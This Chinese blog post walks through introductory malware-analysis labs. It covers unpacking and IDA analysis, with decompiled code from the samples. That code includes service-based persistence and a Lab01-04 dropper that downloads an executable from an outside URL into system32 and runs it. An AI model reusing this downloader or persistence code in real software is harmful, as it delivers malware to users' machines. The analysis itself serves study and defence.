恶意代码分析实验(一)

恶意代码分析实验(一)

Lab01-02.exe

检验程序是否有壳
在这里插入图片描述
发现加了upx壳,我们用工具脱壳
在这里插入图片描述
得到文件后将文件拖入IDA反编译
在这里插入图片描述
首先查看字符串,发现可疑字符http://www.malwareanalysisbook.com

在这里插入图片描述
猜测该网址为恶意网站,该程序的操作为访问该恶意网址
对代码逻辑的详细分析如下:

int sub_401040()
{
  SC_HANDLE v0; // esi
  HANDLE v1; // esi
  signed int v2; // esi
  SYSTEMTIME SystemTime; // [esp+0h] [ebp-400h]
  struct _FILETIME FileTime; // [esp+10h] [ebp-3F0h]
  CHAR Filename; // [esp+18h] [ebp-3E8h]

  if ( OpenMutexA(0x1F0001u, 0, Name) )
    ExitProcess(0);
  CreateMutexA(0, 0, Name);
  //创建一个互斥的信号量Name
  v0 = OpenSCManagerA(0, 0, 3u);
 // 建立一个连接到服务控制管理器并打开它的数据库
  GetModuleFileNameA(0, &Filename, 0x3E8u);
  //获取当前运行程序的绝对路径
  CreateServiceA(v0, DisplayName, DisplayName, 2u, 0x10u, 2u, 0, &Filename, 0, 0, 0, 0, 0);
  //创建一个服务对象,并将其添加到指定的服务控制管理器数据库v0,指定的服务程序为本程序
  *(_DWORD *)&SystemTime.wYear = 0;
  *(_DWORD *)&SystemTime.wDayOfWeek = 0;
  *(_DWORD *)&SystemTime.wHour = 0;
  *(_DWORD *)&SystemTime.wSecond = 0;
  SystemTime.wYear = 2100;
  设定系统时间为2100年整
  SystemTimeToFileTime(&SystemTime, &FileTime);
  将系统时间赋值给本地时间
  v1 = CreateWaitableTimerA(0, 0, 0);
  SetWaitableTimer(v1, (const LARGE_INTEGER *)&FileTime, 0, 0, 0, 0);
  //创建无界面的定时器
  if ( WaitForSingleObject(v1, 0xFFFFFFFF) )
    return 0;
  v2 = 20;
  do
  {
    CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, 0, 0, 0);
    --v2;
  }
  while ( v2 );
  return 0;
}
//判断定时器是否激活,激活则连续创建20个线程访问该网站

Lab01-03

检验该文件是否加壳
在这里插入图片描述发现是FSG1.0的壳用od的ollydump插件脱壳,获取脱壳后的文件
将文件拖入IDA中分析
首先查看其中字符串
在这里插入图片描述
然后将其反汇编得到代码,代码分析如下:
在这里插入图片描述
猜测该程序调用了浏览器访问该网页
将程序拖入dependency wwalker
在这里插入图片描述
发现其调用了以上三个函数比较特殊
在这里插入图片描述
在这里插入图片描述得知该程序创建了一个访问http://www.malwareanalysisbook.com/ad.html的进程,相当于广告

Lab01-04

首先用扫描引擎扫描该文件,有38个引擎认为它是恶意的木马
在这里插入图片描述
首先查壳
在这里插入图片描述
用工具脱壳
在这里插入图片描述将脱壳后获取的4.exe拖入ResourceHacker中,发现有一个PE文件
在这里插入图片描述将PE文件拖入IDA反汇编分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  CHAR CmdLine; // [esp+8h] [ebp-440h]
  char v5; // [esp+9h] [ebp-43Fh]
  char v6; // [esp+115h] [ebp-333h]
  CHAR v7; // [esp+118h] [ebp-330h]
  char v8; // [esp+119h] [ebp-32Fh]
  char v9; // [esp+225h] [ebp-223h]
  CHAR Buffer; // [esp+228h] [ebp-220h]
  char v11; // [esp+229h] [ebp-21Fh]
  char v12; // [esp+335h] [ebp-113h]
  char Dest; // [esp+338h] [ebp-110h]
  char v14; // [esp+339h] [ebp-10Fh]
  char v15; // [esp+445h] [ebp-3h]

  Buffer = 0;
  memset(&v11, 0, 0x10Cu);
  v12 = 0;
  Dest = 0;
  memset(&v14, 0, 0x10Cu);
  v15 = 0;
  v7 = 0;
  memset(&v8, 0, 0x10Cu);
  v9 = 0;
  CmdLine = 0;
  memset(&v5, 0, 0x10Cu);
  v6 = 0;
  GetTempPathA(0x10Eu, &Buffer);
  snprintf(&Dest, 0x10Eu, Format, &Buffer, aWinupExe);
  WinExec(&Dest, 5u);
  //执行winup.exe
  GetWindowsDirectoryA(&v7, 0x10Eu);
  
  snprintf(&CmdLine, 0x10Eu, aSS_0, &v7, aSystem32Wupdmg);
  
  if ( !URLDownloadToFileA(0, aHttpWwwPractic, &CmdLine, 0, 0) )
    WinExec(&CmdLine, 0);
    //指定URL地址读取内容并将读取到的内容保存到特定的文件里,url为http://www.practicalmalwareanalysis.com/updater.exe,文件地址为\system32\wupdmgrd.exe,下载成功后执行该文件
  return 0;
}

以下为搜到的这两个程序的信息
在这里插入图片描述wupdmgr.exe是 windows update manger 的缩写,是自动升级的程序,存在于c:\windows\system32下,被删除或被重命名后能立即自动生成。wupdmgr.exe是WORM_SPYBOT.B病毒的一部分。该病毒通过P2P文件共享软件进行传播,它允许攻击者访问你的计算机,窃取密码和个人数据。这个进程的安全等级是建议立即进行删除。
该病毒的首先进行自动升级,然后从指定的恶意网站下载并执行恶意程序wupdmgr.exe。
该程序为恶意的下载木马

猜你喜欢

转载自blog.csdn.net/shannow_123/article/details/88700407